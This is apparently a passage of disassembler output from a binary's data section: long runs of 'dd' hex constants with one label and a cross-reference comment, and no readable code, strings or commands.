0FF8708B5h dd 30888038h, 6FEB5204h, 5C338CC8h, 1AC8385Ch, 0BE802D80h dd 0F68825F1h, 0CE6A01C9h, 53BF481Bh, 4F919DC6h, 1987B0A9h dd 0B180EB76h, 5DC884h, 6785A35Eh, 0F0531F9Ch, 88FC20B7h dd 6A71B4h, 28217EEEh, 3FBBCB55h, 431D3402h, 76E4BE69h dd 219C4464h, 0F5E86CCDh, 57A6029Dh, 1EA74F87h, 0BED701E0h dd 0CEDBC900h, 197801FAh, 2D120ED6h, 6FE0D44Eh, 0BFF81BD7h dd 20DA5225h, 0FEE45414h, 5F2002Ch, 0EF53994h, 0AFE65538h dd 3BD8711Dh, 99C0D95h, 724B464Eh, 0DFFE01F4h, 706C8EDCh dd 54804C4Fh, 0FCFA8604h, 788155A4h, 0A4709D21h, 0BF58403Bh dd 9DB0DB58h, 0A891D58h, 6E930023h, 4F4294E5h, 6D0FE10Eh dd 60A9995Ch, 0EEA66A38h, 0D8012472h, 354D0EFDh, 88CC8082h dd 0CE14DC40h, 4980B099h, 5DCACF7Ch, 0F8E6048Bh, 0F455941Bh dd 1200D4ACh, 0E327C9C6h, 0E49A8F09h, 0FD2F128Eh, 0C02CF4DAh dd 4DF17400h, 96B6D843h, 0E44A029Eh, 75AAA297h, 5E93F884h dd 0C71C1040h, 7340FCh, 78915F4Fh, 3414F77Bh, 0A5D48E13h dd 55C59000h, 389CE987h, 885E4D47h, 60012644h, 0C965A95Bh dd 0E8EC1A68h, 4ACE7E33h, 780C8B7h, 71F70D1Fh, 596E1C0h dd 0E15476CDh, 7977D0h, 43EC09Bh, 0BBDCA213h, 3744E490h dd 987C4865h, 84C93FC8h, 15E5C08h, 0DFCC6E44h, 844B3BA7h dd 4C858FFh, 72F933D8h, 0F8193147h, 8A7F1C08h, 5788541Fh dd 68F07380h, 97D27C0Ah, 0F3CEE880h, 10059A2h, 0CBDD947h dd 9061BC92h, 335A05CCh, 0C1DFB4D1h, 7CD6BE16h, 0CE5480A4h dd 912BD11h, 8FFD3786h, 70F84010h, 10685325h, 0A86288h dd 1D5DE7CBh, 0A4427ED8h, 58E8C87Bh, 0BD3B5607h, 0E381D361h dd 70F5460Fh, 6800AC21h, 0BEBF22Eh, 14E7D566h, 540B242Bh dd 0E2818CD9h, 4A5A3271h, 8382C43Fh, 2109EEB8h, 0D17326A6h dd 66044E14h, 0D09E87C1h, 75112FECh, 0C412300h, 0FB9B4204h dd 557C0069h, 9050F236h, 18BD727Ah, 3868A6F4h, 20A49FA3h dd 0D8813930h, 218E06B3h, 0C8D1FA4Ah, 0A70F1500h, 0F3720BCh dd 52D2F5EBh, 63F102DEh, 87CC888h, 9FE1C040h, 0BD80081h dd 9950F495h, 390008AFh, 214F25CFh, 2D6CBBDh, 0DABE77E9h dd 6CC4151Fh, 42545340h, 0BAE002ADh, 24583F18h, 39F0CC77h dd 4A60AA07h, 0BDBFFF87h, 80B0602h, 55B8E0C5h, 31E07B7Ah dd 8B68FE30h, 76540207h, 0D9134148h, 94D8C46Fh, 8973FF01h dd 0CBD043F5h, 4B00B438h, 2C72B72Bh, 9E0B4723h, 4B292CCh dd 0B253CA18h, 75140034h, 57484EDh, 7DE400AAh, 0B992960Dh dd 72512A18h, 502218h, 4C3C8E7Eh, 127CE90h, 3A7C3BFh, 0E63A5985h dd 0A04F2C54h, 0CF3DC60Eh, 0A86E0013h, 0EB4A6979h, 6500723Fh dd 0CC6B06FEh, 790A2F7Ch, 0B4781689h, 2D6022ABh, 10705411h dd 0AFF8864h, 716B7F00h, 0E0CADB36h, 0DA602875h, 0C44F4A98h dd 2982438h, 0FC0AF080h, 4210780Bh, 2045306Ah, 12BCEFEEh dd 887E65C1h, 5C842908h, 9E032477h, 20940455h, 901856E4h dd 3F5371C6h, 0FCDC2CFFh, 0F288E496h, 6890A08Ch, 0A52607A1h dd 6069CD0Dh, 0EDEB582Ah, 32E5C00h, 0F4528871h, 0ED9843h dd 0EBC493Ch, 2AC48264h, 0B8B25C00h, 61147069h, 0FD7617C3h dd 2990889Ah, 6E888h, 4BA2BDA5h, 0A4964FA0h, 0C4D60400h dd 0B7F9EC25h, 5E4102FDh, 0CCC5372h, 0C705C41h, 18DC5CD7h dd 525CA13h, 0E8F2DF3Ch, 30EC08Ch, 700CABh, 0ADBEB9FFh dd 698FC926h, 0CDEF270Fh, 5402F667h, 0F8022C6Ch, 0E9F73888h dd 5C00CC58h, 0C768F6FBh, 0DE0CD3D7h, 1869E29Dh, 0DF22394Ch dd 0BC391Fh, 0AE1EE7A6h, 67EE8B4Dh, 72001777h, 3419BB48h dd 64FFCC68h, 82F0994Ah, 21205D10h, 0BEF96C7h, 188F5311h dd 4E00E87Ah, 0C6712B7Eh, 31BF1306h, 0DB41FFE2h, 3AFC500Fh dd 9F985186h, 7D33E402h, 0DE653219h, 409EE068h, 3F01FEE5h dd 0ED35EA17h, 0CC605964h, 0C8AB04D4h, 0A4919D46h, 0DF50D7D8h dd 55268F0Ch, 0BC26E075h, 4098F862h, 1C59C78h, 0ACE4C6F2h dd 2FC9431Fh, 5C874028h, 20C8D850h, 0B4F8DF01h, 66C9E0CCh dd 9504CDF0h, 5293ACC5h, 12199088h, 40C0EEA4h, 0F7A92F96h dd 8007DE59h, 0A640252Bh, 0F600B8DAh, 6813BEF3h, 7B7703C3h dd 4395093h, 87E4B8CDh, 97C0515Dh, 0EEA88C1Eh, 7829F2BEh dd 4C494442h, 54109F8Eh, 0F203256Eh, 53FB66F5h, 99B0B77Dh dd 1A508D6Ch, 29207E27h, 0D6459C7Ch, 0EB3EB8E8h, 0AC832800h dd 0EDEEAA66h, 26909A03h, 0D2C05E8Fh, 7DB0C2FCh, 88156201h dd 7393C076h, 0EBE14500h, 4A24AC68h, 0E4BF2D0Ch, 39DB70E9h dd 458B0028h, 3F92B302h, 6B8700B2h, 4B7FD394h, 84BD5AD9h dd 0E720DC1Ch, 209F553Ah, 0D49C48F4h, 0D7BE0147h, 724DC1F7h dd 2DD5C417h, 7820385Ah, 5A91A9h, 94F78D2Ah, 0BC024483h dd 9D62D200h, 189AAA7Ch, 80A738B5h, 43003A3Eh, 289EAE78h dd 84B195FDh, 8C08C296h, 8CCE93AFh, 2B4C1980h, 9DC0D864h dd 8E0895Fh, 106581F0h, 0C7AFEBh, 0F15D9675h, 412539ADh dd 0F7902600h, 3A561FE1h, 968705BBh, 0A9CB13h, 0A8343B54h dd 450143EEh, 54A09F8Bh, 3E607A87h, 98964CC4h, 7ECD6203h dd 0C002B0A9h, 658A147Bh, 10E47176h, 457FC831h, 0F768CC3Dh dd 863FCC00h, 607F6FEBh, 0ABC43822h, 40A3E200h, 2382F38Ch dd 67153102h, 465CBCBEh, 3A0200F0h, 0F68BB453h, 3B4A4912h dd 1AB13820h, 0C9660E8Eh, 12835EEAh, 4988991Fh, 3AF41561h dd 5FE41C00h, 0DC0628A8h, 5E6AE457h, 0C5E04154h, 7138367Ah dd 0C1424255h, 0D41BA4E2h, 0CEB527A0h, 0F46C95h, 60C80FFCh dd 4A4C3E46h, 6A195407h, 0EB42CC8Eh, 51907CE0h, 748F0C47h dd 4090BC99h, 48E98662h, 0ACB958h, 0FC85079h, 0CD3B84h dd 11048FE3h, 0AF0CF62Eh, 0EEE6EA04h, 0A50753B8h, 0BBE2A4DAh dd 4420D41Eh, 9250FD11h, 0E50D5964h, 481B7177h, 9F5F9430h dd 6A402C98h, 20674A3Ch, 0EE6F14E7h, 7E0BDA80h, 340388F4h dd 4EA37DECh, 608942C0h, 90B52898h, 5DE758h, 1C987011h dd 4ED49206h dd 623A49B0h, 0BA360BF5h, 0DCA82EAh, 4D4741Dh, 13AE1F7Fh dd 664C8h, 2EA3D9FCh, 0CD3C39BFh, 9F86A112h, 9B7FC600h dd 923914Ah, 7456D56Dh, 14240869h, 764420ABh, 34012A13h dd 38E612DAh, 76702477h, 888D09A4h, 6004AD7Eh, 0D168491Bh dd 5C4AC98h, 696E7Ch, 266B0C88h, 0EC535CBEh, 10771160h dd 31374B78h, 0F1D60C44h, 0F4311474h, 0ABC0CCADh, 0E9311AC3h dd 0FCC08852h, 0E374454Eh, 796B9D04h, 7EC442EDh, 86FC80A1h dd 0C19F5B43h, 116035E4h, 907C7A65h, 92AFE3C7h, 0D4C82DDAh dd 18E6EB14h, 9B539401h, 216B5930h, 1174B889h, 4F50C8D4h dd 2C2300ABh, 0F7FEE7A1h, 0A7138814h, 0B48061EAh, 486EB3Fh dd 0C713AC6Ch, 7310ACB1h, 4B717903h, 0EE05BBF8h, 0A1781098h dd 0B5B80FADh, 0F3D0A0E6h, 189AECCBh, 881F0960h, 0B924A7E3h dd 0A0315C24h, 41001D38h, 0CB894BDh, 8233E138h, 4A4B7E23h dd 3100E0A9h, 0F62700E5h, 4EAC5CB7h, 0A32C88F8h, 0DB00FABDh dd 0C45D9D15h, 4801B54Fh, 844CD7CFh, 0C458C40h, 0E8FB0D02h dd 0C218280Ah, 7259319h, 49A8EF78h, 7560C397h, 7F10A98Eh dd 4000315Ah, 82EFD262h, 0B2752592h, 0F587AB0Ah, 0B50EF358h dd 0E6CBC614h, 1D7321E8h, 4435F708h, 80F33CACh, 544BC88h dd 84BB20A3h, 2BD6D404h, 2C79BE22h, 393180F8h, 0E681F0h dd 172FB36Fh, 0DB84AA38h, 434E9C12h, 5C007CA8h, 4C3CCE68h dd 802E6EE2h, 3F0EE954h, 0E1CD80E4h, 98A467B5h, 0B89B1030h dd 5FD91426h, 583908F8h, 0BCA0F04h, 0B4E1F960h, 8492BD40h dd 1FDD3512h, 0BC7F9C4Ch, 13022610h, 0E0500060h, 8871529h dd 84F420C0h, 0A7416686h, 0B818820h, 0B115CCC0h, 9CEC2641h dd 795C0960h, 62E5B418h, 0BC465302h, 70109AD4h, 5EB8B080h dd 28FC99C4h, 2D5E0008h, 0B4F02C06h, 0FF53702Eh, 60006862h dd 264E75E7h, 3201727Bh, 6A875048h, 20836124h, 818F5B52h dd 0BEDE500Bh, 737448D9h, 974C01F2h, 9331A8DDh, 3E1069DCh dd 91FA03F5h, 0B97EFB4Ah, 0B8409420h, 9472CDFh, 71ED0F42h dd 0D9720883h, 0BB2604E0h, 0A8F0542Eh, 96225B40h, 3E4900D4h dd 8A582F47h, 0B7031387h, 12F72685h, 4F9EB07Ah, 51730076h dd 0B9BAA643h, 0A800FE2Bh, 45813DE4h, 3E214088h, 3001584h dd 0D9769DF7h, 618A06DAh, 0E142F14h, 382C5594h, 2BFC7111h dd 643C30E1h, 6D37BB00h, 0DF01E0FEh, 0F92D1AEFh, 0E0D00887h dd 6CE98203h, 0F098D6D7h, 5C81BB7Dh, 0DA037A1Dh, 70C4BF93h dd 5E4460A8h, 0C0191362h, 4339E08Fh, 0D6F0005Fh, 0BAFDE732h dd 730F6633h, 0A040B5A0h, 9A2135AAh, 0D3990101h, 7BE5D7C2h dd 6918804Dh, 0F2B562FCh, 2D91E7Ch, 3945076Ch, 226580F5h dd 8106B2E5h, 0D99FE043h, 5DC60758h, 0A04C77C5h, 95C73534h dd 240C8530h, 60FE2EB2h, 8DF828A9h, 427CF171h, 295DBC0Ch dd 6CD99E2h, 1B2C69D6h, 1FB06847h, 0AD314E00h, 65025735h dd 78CF30E5h, 0DA72E3A0h, 5EE0441Dh, 5F3D4030h, 70026015h dd 986CCD87h, 8F588461h, 708CF0C9h, 47A8DFBEh, 6A745F0Fh dd 3A1017B9h, 0C8F80094h, 0A91917B2h, 601B60B6h, 4F2C6B33h dd 70483A50h, 0ED1DD443h, 0E50A60AFh, 0C0415E39h, 0ECFB5D00h dd 53A58DF7h, 4FC474EDh, 0FB383Ah, 0AAFC67F7h, 637CFD62h dd 0A21CB503h, 9B4D35A9h, 914806D8h, 0A9F1861Fh, 0FE0458D0h dd 60CE830Ch, 0DE1B9B10h, 8890B1ADh, 18662AE8h, 0B0677B9Ah dd 0A71E3F83h, 486D968h, 4428B0AEh, 0BE003C71h, 1062C812h dd 0F04AA34h, 7C50FAFh, 2C202A01h, 0DF6F30ACh, 281CAD3Ch dd 200A67Ch, 1D244712h, 12E91B75h, 0FA16F3h, 7DC2C9F3h dd 0A202E731h, 4309ADFDh, 0A4BA6038h, 58EA9Dh, 0BD1869C7h dd 0F198A881h, 19220300h, 3BC1E375h, 0D1A203DEh, 8F3A70A5h dd 0A0CE7A80h, 1C74F000h, 0F4E2B2BFh, 911000DDh, 58959BD4h dd 15007D5Ch, 0B338C698h, 6FC165h, 10537771h, 0B0740506h dd 70241C0Ah, 0B6039C38h, 0B8AA9B46h, 1E99046Fh, 405952D1h dd 0CDF72B5h, 1F0C747Ah, 0D188F9C1h, 0DB10C03Ah, 0CDE20491h dd 11660100h, 0BCEBCBC4h, 85AE0029h, 0F4FF8F06h, 6400B495h dd 1BD309C3h, 4F265h, 4E8846F3h, 458FDCCFh, 0DEA7A800h dd 5EB841A0h, 30280F48h, 833449FAh, 324E5500h, 0CDA1D0ABh dd 0CADB2F01h, 0B97DD68Eh, 35C4E8h, 29FC328Bh, 7A87D223h dd 7E555D03h, 0C71080BAh, 0EA371C41h, 0E3B1E4h, 5E65C69Bh dd 0F825CB94h, 58179800h, 7850A18Eh, 0ADA62F70h, 0DB0BD0E0h dd 75F4B4Ch, 0A2469B33h, 4211E020h, 71800766h, 80E147A1h dd 74965C3Ch, 0F9409805h, 54804C12h, 0C92605h, 0E1EF1CBCh dd 0BF0D3ECEh, 821DBD00h, 0E925F046h, 0B7CA0F06h, 0CCE01204h dd 29481EFEh, 26DF5604h, 0B38041A3h, 1198E0h, 7D1C9B51h dd 9A5A937Ch, 0FDB35400h, 31D46BF4h, 0E96300EDh, 471F2E6Eh dd 0C9006F81h, 71567AFFh, 0FAA6418Fh, 310E0003h, 16CDCFACh dd 0D8C07ED8h, 12F4D1A7h, 562D00BCh, 0F3CE1BF2h, 50F0BD13h dd 0C111F803h, 0E3550CEAh, 39E1C1FEh, 0B8CDE0h, 0DAE5F310h dd 0B9C31132h, 420886E6h, 1E7D9FCh, 0B8F6E883h, 137FC833h dd 4804A900h, 6352A156h, 2E0B00DDh, 3A9C28EBh, 1590CE26h dd 9004078h, 0D2DBB2F7h, 15DE8A4h, 7157BE87h, 409EAE26h dd 5E8018BFh, 0C7015C7Ch, 7B103FF5h, 299FDE04h, 0A6A1C9B9h dd 1C0AA400h, 70EBCB36h, 8D2669D6h, 70071064h, 82E7E913h dd 11F5C020h, 0FEEB00E1h, 1261CAC6h, 58C7E738h, 0D640C97Eh dd 337B9Bh, 0CB1AB76Ch, 0D93AC7BBh, 0F724E200h, 576953B3h dd 34B2A1h, 0F6EDF487h, 60DC0A86h, 298C3C0Fh, 0D000323Dh dd 9C081017h, 48FF6046h, 3FC6FD16h, 80ABA320h, 386C4794h dd 0A801A55h, 31706810h, 749A2BA7h, 0AA0C3600h, 8F768221h dd 8E97008Ch, 4C4B77F0h, 0BA242667h, 38009C37h, 41E819BFh dd 79010054h, 64330351h, 82184707h, 0DADE8F7Eh, 0DB780088h dd 9B436FD1h, 2750E06Ah, 0B039DF6h, 5D8F96C1h, 40F9B8A7h dd 997E0035h, 3BCE21E4h, 4D1E0860h, 540AD4Ch, 4A7B2E53h dd 8C79E6h, 376A246Ch, 5B8F5EC5h, 8E7C2B3Ch, 69261819h dd 0AB3C8032h, 3D8F792h, 0F817A6C3h, 0D19985E3h, 0FE1DE0B2h dd 0F187CD00h, 18C8ACAh, 0BE191EF3h, 40B29FE6h, 0B710DFFDh dd 0B1008450h, 6D0B8AD6h, 180CACA3h, 0D20ABB05h, 5C00B936h dd 0C210264Ah, 0EE9CB8EFh, 44C60069h, 47BE7A07h, 900D5A8h dd 4192B158h, 26EAC524h, 0B99BA4h, 205DB836h, 7C072EBDh dd 6BD455FAh, 23273310h, 0D7DB00C6h, 0F54483C8h, 0CD006AE9h dd 0D50F3F03h, 0ED860D30h, 0E2A430h, 0A3F5193Dh, 56434BEh dd 0F9D9EA00h, 99300443h, 5BD098A6h, 72AFC33h, 85F7378Eh dd 9C2A45B0h, 0DC762404h, 3E638B5Ch, 0FEDCE38Eh, 19A34700h dd 90BABBC6h, 68091200h, 0E00A3BEFh, 56083833h, 300E1C4Ch dd 4B009CDCh, 2DCF0104h, 8252C909h, 0F2108066h, 0F4EF23h dd 7CBACA16h, 27FE90D5h, 9D7B4C03h, 98D8AD47h, 1E7EC620h dd 409B4B9Ah, 879E8375h, 7C006EE7h, 1804FB48h, 8179ABh dd 5D0FB303h, 6A88C246h, 54ED4507h, 0A0708DD3h, 39E059B0h dd 0C1000838h, 2CB7EB15h, 22009293h, 0BF4D132Dh, 0DA49DEh dd 73CA6639h, 5A9DED5Fh, 41BA39h, 7F06D845h, 0F390968h dd 0C9A13127h, 5BB65E21h dd 0E5C22084h, 0A085FF00h, 1D275C03h, 2EE97428h, 8014DD16h dd 0AEC8940Ah, 0AC006D59h, 9596318Eh, 704F48h, 8D36831Fh dd 73579F8Ch, 28ACB203h, 885B8081h, 2CA7B576h, 188F2Ch dd 1B07151h, 0B70B86F0h, 0A0369EEFh, 7E47B848h, 97FDEF61h dd 0B8F91BC0h, 0F8BA0184h, 0AC4E025Eh, 18109070h, 4A139E03h dd 2017C0E0h, 6440F65Bh, 14C5B233h, 3CE20057h, 7E49B8DEh dd 1004E63h, 6A3A1FC4h, 0A86BCB5h, 0F55B1C6Ch, 18E5171Ch dd 5E61F11Dh, 90D788CCh, 30595488h, 21FD2E4Dh, 0BF7F017Ch dd 71AADFEBh, 12355088h, 471EF5B5h, 27C0CC97h, 164BA34Fh dd 49FF3F7Bh, 0F46F3FF2h, 0EBA78680h, 81138CEDh, 0B8A6B600h dd 3635BC0Eh, 7E571612h, 5317000Ch, 40D3B50Bh, 307AD41Dh dd 0FBD25E1Fh, 0BFBE0B1Ch, 3B110F71h, 728D407Ch, 7D239Ch dd 8E4A6A53h, 0D09A394Bh, 26571300h, 5673D22Dh, 61B900E9h dd 47CD5876h, 71FC0CB3h, 6BBA8D00h, 544D0E68h, 79C4EA4Fh dd 7CFD0484h, 0A08BCD65h, 2B77E7D4h, 6C67B900h, 1A5F43E3h dd 0A89CABADh, 39D5ABh, 3AE52F01h, 1F64C1C0h, 0EACCAC05h dd 0AE805597h, 94495F3Bh, 0C1B712ECh, 0C0E49577h, 2E028A71h dd 0F55899FDh, 3954527Ch, 42B0CE0Bh, 672D5780h, 7CF63204h dd 90B03983h, 0D85E00B4h, 0EA6D9CA6h, 0C0C0684h, 48484DCEh dd 9BC500D9h, 0CC35A9A4h, 1A2AF170h, 63FE862h, 6C930194h dd 0E537BCF5h, 0F20825CFh, 8B1FC400h, 0F611709Bh, 401D8C3h dd 0A1CD5732h, 0D260AC61h, 9D6E4903h, 0A7E788FBh, 0D9BC0030h dd 350EF485h, 0EA608FF6h, 0A26B226h, 0A8B902CCh, 6469637Ah dd 25D6F460h, 0DD336E0Fh, 0FD0C608Ch, 3A2F73h, 463CDE94h dd 4132C9B6h, 0FFCC7E00h, 0B85855E6h, 7DA70062h, 3BD8478Fh dd 747D4C02h, 0CB9B8E28h, 887ECA00h, 8176DC14h, 802500B2h dd 6D231D8Fh, 386D5584h, 0B1030831h, 0BD100116h, 4F5C44FDh dd 4DACCC5Fh, 72CAD48h, 0B52010Ah, 0F102F0C0h, 894431BCh dd 11A94829h, 2C20708h, 0C22C543h, 21F4248Eh, 271212B9h dd 898CB410h, 84220820h, 51C49B22h, 0EC3128EFh, 11B52988h dd 0C0847F90h, 42B84890h, 73241E87h, 0D043BD40h, 811E242Ch dd 0D7EE0C6Eh, 25290Fh, 0EDBA0668h, 9DB20084h, 0A9D698EBh dd 0BF00A44Bh, 0E78BEEC0h, 6B5622h, 1EF3C1CCh, 8E87140Ch dd 21BA2000h, 42EB8D4h, 0C64D1E6Ah, 0F97D6A7h, 0A823D1B2h dd 7CC0C81Eh, 6407CCDDh, 0FB93F8E7h, 57797AA0h, 0E31C0014h dd 678B0BF5h, 6C005613h, 4DA8ABD4h, 0C4C76Eh, 3848EABFh dd 59B3F637h, 260FCDE0h, 80180EE0h, 0FA0C8B77h, 74190C22h dd 3658C916h, 0F43A2800h, 182AD4B3h, 3DB03888h, 8633900h dd 20418948h, 0FDBED800h, 0C04295B8h, 4EE3007Dh, 0EFA01AE1h dd 1E0E9F26h, 0E0362501h, 5D1354AEh, 26D2E638h, 125C7588h dd 9E2C5D40h, 980D8191h, 872AC197h, 0E94E360h, 790F1700h dd 6A41056Bh, 0C3C9156Fh, 598881A5h, 0A0000338h, 9974B666h dd 13E1A3Fh, 48936769h, 0E8C7D6E0h, 0DF46DCAh, 0C11E6092h dd 5000042Dh, 0D21DBC1Eh, 1207F42h, 0F9E79B61h, 308C7EC1h dd 0C7EC9FC9h, 4A62BA02h, 4055CC2Bh, 5DB133h, 0FFC4A349h dd 4F8816E7h, 0C032CB00h, 39952EEFh, 0DAD3D71h, 0F8314C01h dd 0DD2877A0h, 1D9AF8CDh, 0C446C70Fh, 0E6B84321h, 0F955C10Eh dd 11971180h, 0AD504BBFh, 3C7B3890h, 57A08700h, 7403E088h dd 1CD7005Dh, 0EAA434F7h, 0AF00BC68h, 3870A11Eh, 8AFFE2h dd 8817F156h, 45660C51h, 4E609E72h, 8F016040h, 163A01ACh dd 1DF9D256h, 91C0D329h, 5001CC39h, 0FDD6443h, 7AC88C75h dd 67EC2861h, 0ABF5009Ch, 580DCA4Fh, 0EF002A2Fh, 1CFF5132h dd 73DC3557h, 0F84A1FF7h, 9A1F94h, 689F8F24h, 96003AFEh dd 28911C30h, 0FC37FD66h, 6AC500DEh, 1177540Fh, 0F8BF6253h dd 0EADA0E6Eh, 4E809978h, 0B36A194Ch, 409E6905h, 79C3EEA3h dd 0FD28A8D2h, 0E7B70066h, 51C93CFCh, 0F512BF70h, 1C002C29h dd 5D0E570Ah, 0F87B016Ch, 619988DCh, 0EFBBC37Ah, 0E1655FD8h dd 807FFF38h, 17BC9DF5h, 1886BFE0h, 119BF397h, 0B000ADB8h dd 521628BDh, 0FDAF2Dh, 8CFB4689h, 6D3BC839h, 8C6F4Dh dd 117B3CAAh, 1FCBB12h, 0E03E292h, 0DCE95DF7h, 0C201DB7Ch dd 0C44C76B1h, 79E45448h, 80F00F2h, 94AF58A8h, 9E002EF7h dd 0E33DD320h, 7CE097Fh, 0CD9B2945h, 36605016h, 0FB38CA17h dd 4338F6Dh, 9F0032B0h, 9722DC34h, 7F5D003Dh, 0E689D931h dd 350B9CF4h, 80B1AA13h, 2B5C1563h, 0DE450038h, 9C086A7h dd 4A7FE43Eh, 4F17A800h, 127AD81Ah, 0E20E00C7h, 10C35BA7h dd 0BF0030F1h, 0D6BEEAE8h, 1DDEBA1Dh, 5CCF8FEh, 585753h dd 0FF444280h, 56007B0Bh, 34A6AE1Dh, 0EB0904h, 0B3642754h dd 7401C9F0h, 3BD61507h, 4E803892h, 0DE5543h, 0C237E728h dd 5358783Fh, 0ECDCF626h, 38D0A100h, 26A39C3h, 0C9F931CAh dd 506806A2h, 95005766h, 259ABAFFh, 21728DDh, 0A7086A93h dd 1562B553h, 0A0E70F5Dh, 0E76EFA1Fh, 0FC76DEh, 927AE1A7h dd 51CDE4B8h, 561BB900h, 4C4A6CEDh, 0A6DD0FF2h, 7CC442B6h dd 0CBCC807Ah, 140787B2h, 181E5CC5h, 6F26BF61h, 4F9E930h dd 9AEFB529h, 48F48583h, 0CD4089F0h, 0D00899h, 0CBA16F15h dd 344D61BBh, 4746C300h, 0CEC0A321h, 2F501E25h, 0A2544375h dd 93D8DD15h, 9C0001BBh, 0B5EAF9C7h, 0FDF5BCAh, 303FAD80h dd 37B90AA0h, 6709BBA4h, 8054C259h, 0CE183D70h, 98CA00EEh dd 0FFE815DAh, 9B0EC672h, 807A5173h, 5307CBA2h, 0E26EE819h dd 0CE250049h, 5D914ACAh, 9400F1EAh, 90F333FCh, 213773Bh dd 52FF1CFEh, 0DC60399Dh, 498881BEh, 497C7B19h, 0AE03DC8Ch dd 9A9F8225h, 5541113h, 6B4C4001h, 0C8412B8Ch, 19C8AEA8h dd 397E0093h, 108185DDh, 0FA1C532Eh, 0D7408946h, 0D2C5EF6h dd 4FB43F69h, 9013A8h, 8564262h, 35DD1E36h, 1C720A7Eh dd 3201397Dh, 26D88E5Ah, 0F6C44C5Fh, 359201E6h, 49F90F79h dd 618ECC9Eh, 0F20E5500h, 0D8C99180h, 84A100C6h, 0CB32B0EFh dd 8BF89865h, 4C8FA758h, 568048Eh, 0F4812F76h, 9C51CAB4h dd 10D1456Ah, 33F2DD0h, 0F0710F0Ah, 0EEA0AC11h, 0B600A16Eh dd 0E06C1E5Eh, 1993FFh, 6BD544B4h, 5D697F36h, 593B8600h dd 9F6FCD4Dh, 0B63500E6h db 0A4h, 0A6h word_544F42 dw 92D6h ; DATA XREF: ___:off_4374C0o dd 6309C41Eh, 0A012D9B0h, 0EE31EA30h, 23CB021Bh, 903AFD70h dd 2D7EB0A0h, 4A00A135h, 7CD0BF1h, 0DF4160h, 0E6DC4769h dd 9B9CC8F7h, 0A3191C0Bh, 72DC1043h, 75E4007Ch, 51E23110h dd 0D200F0A5h, 9307747h, 0FBD494h, 7E988BAAh, 743A6DCBh dd 305048h, 2E465FD8h, 18761CDDh, 0F8F5027Fh, 9E78220Ah dd 706FF300h, 18758EECh, 6EEF26E0h, 0A39F000Bh, 2F040A1Eh dd 51C5FA00h, 6F489A96h, 43550383h, 0CCCFD013h, 7B11FCC8h dd 8040B438h, 980B1B32h, 0A5C419h, 9F42724Bh, 41CECA64h dd 1A38FD00h, 23758FEh, 7A0E3B53h, 54A49FBDh, 40A61DA4h dd 0DED0D114h, 0BDF89687h, 59FC2700h, 0FA3C7ED3h, 9BA30057h dd 0AF71F866h, 0F903F6D8h, 8D6FDEEEh, 88F0005Bh, 390F348Bh dd 2300D1D9h, 0C2297A8Eh, 0FBDA32h, 0DE7D9825h, 0CDD9F9FFh dd 9175C100h, 2E9EE072h, 82B400D8h, 0A2CF6B8Ah, 59005D2Bh dd 1EC67152h, 1D91585h, 0C2CC3E23h, 0E8218D9Ah, 0A407E57Fh dd 342EE14h, 643F7A40h, 237100ADh, 670C2120h, 0E607C0A6h dd 0E8173A4Ah, 3FC08E27h, 0C8F819h, 228A6998h, 40B0E02Fh dd 0E13E3698h, 0D2978191h, 0C059B8C9h, 0E8FD7060h, 0CB7ED3h dd 37F51029h, 1673650Dh, 0AA09F100h, 7517657h, 0E2C30E1Dh dd 9460D25Ch, 8727D8C4h, 0CD2BDF18h, 3D159719h, 0A9003FEDh dd 0E3ADB2BDh, 0A27D3052h, 6A2F4B00h, 62D09CA7h, 40F50E8Fh dd 0B3403D56h, 8E9108AFh, 8330BAA0h, 0D6C0750Eh, 221A4931h dd 0C868727Ch, 55229F4h, 136BF04Bh, 6F0083C6h, 0BE1AC4D8h dd 0ABF3E007h, 55D049B2h, 48C0DFA8h, 0B326EAC8h, 12FC3F28h dd 0C2F7ABA4h, 80669264h, 7D553E20h, 0FDCF00BCh, 0AE511B67h dd 0FF1FAC2Ch, 0DA66EA73h, 305A01Fh, 0A8005F89h, 9DB80599h dd 58BE03DBh, 3F5E1CBCh, 4E8F99Ah, 0C1037E95h, 6862E93Ah dd 558B6Ah, 94AEC6D0h, 72C0DE38h, 0DFFB9A03h, 0C0CF3591h dd 0FB75907Ch, 0F8B71C20h, 85F08Ah, 2673AD1Ch, 2A8D82F9h dd 0E5370D00h, 6207EACAh, 0AFB62C01h, 0A7940594h, 0EA6C449Eh dd 5B4A0045h, 331301h, 0ED4F9D7Dh, 0E76BBF09h, 86056098h dd 3444D0EBh, 2EEFD003h, 23B6808Ch, 980C00DBh, 0E5A53F9Eh dd 263BAC4Dh, 88860035h, 6FFC4B56h, 7AC31F5Fh, 0CE59C00Ch dd 0A75EB179h, 0B9B67105h, 0B380E96Ah, 0A36603h, 2E70EC0Ah dd 0C63EAF2h, 0AA7E2DFCh, 4B01367Fh, 9124F1B6h, 0E7C4DA77h dd 0EF5800D6h, 54B45037h, 0D8006DA1h, 0CBB763BEh, 17DB0BABh dd 1B666Fh, 1FC63EE7h, 6D0E5EEEh, 0C0A9C909h, 29118E87h dd 7B401FD6h, 0F18040C5h, 99E24F34h, 7E002FF0h, 22B5BE43h dd 7A688F3h, 93AC04F6h, 84C1A0FCh, 0A0593F80h, 0A8D907A8h dd 803E28E9h, 0BDF836A6h, 1277E8ACh, 2D9A90h, 7F2BC33Fh dd 0F7909B1Fh, 16A248h, 93B8A90Eh, 9DDD9FAh, 0DAD3CDF1h dd 3D521100h, 10C07194h, 3459C049h, 99FB00B9h, 0BD6A6E57h dd 0CA09CCEBh, 80D33D9Ah, 0DABAB402h, 20650218h, 933789BFh dd 0F138B680h, 3548969Ah, 311800FFh, 0F2145563h, 0E0AD0302h dd 0F1B42844h, 7B16D9C0h, 198DAC31h, 58802AAFh, 272D9285h dd 0D90072B6h, 8EDF8F74h, 73829E7Dh, 0A100B8D3h, 3987EF28h dd 0D0144F4Dh, 347F961Bh, 24CAD75Ch, 8F01B568h, 3F41DF93h dd 783660E0h, 0C6FE00F2h, 951EAACh, 9D3D3280h, 6D3180CFh dd 0E9AACD48h, 23470050h, 0A1C12BE1h, 26006A8Ch, 0E0EA6D80h dd 0B12E8Eh, 5F139A0Dh, 17F0BA7h, 4F062B00h, 16E3E80Eh dd 3CFED1h, 7CC14DA4h, 659CEF79h, 214A9602h, 0E1BDE883h dd 188077EAh, 26DFB891h, 0BB7B6FBAh, 7C3ECF0Eh, 1F84A054h dd 1F12EB6Dh, 5EDB1BD4h, 0D8FBC02Ch, 750D6815h, 0DC264800h dd 0CCE2A81Fh, 1C6400F4h, 8CB773E6h, 0CF24F1E3h, 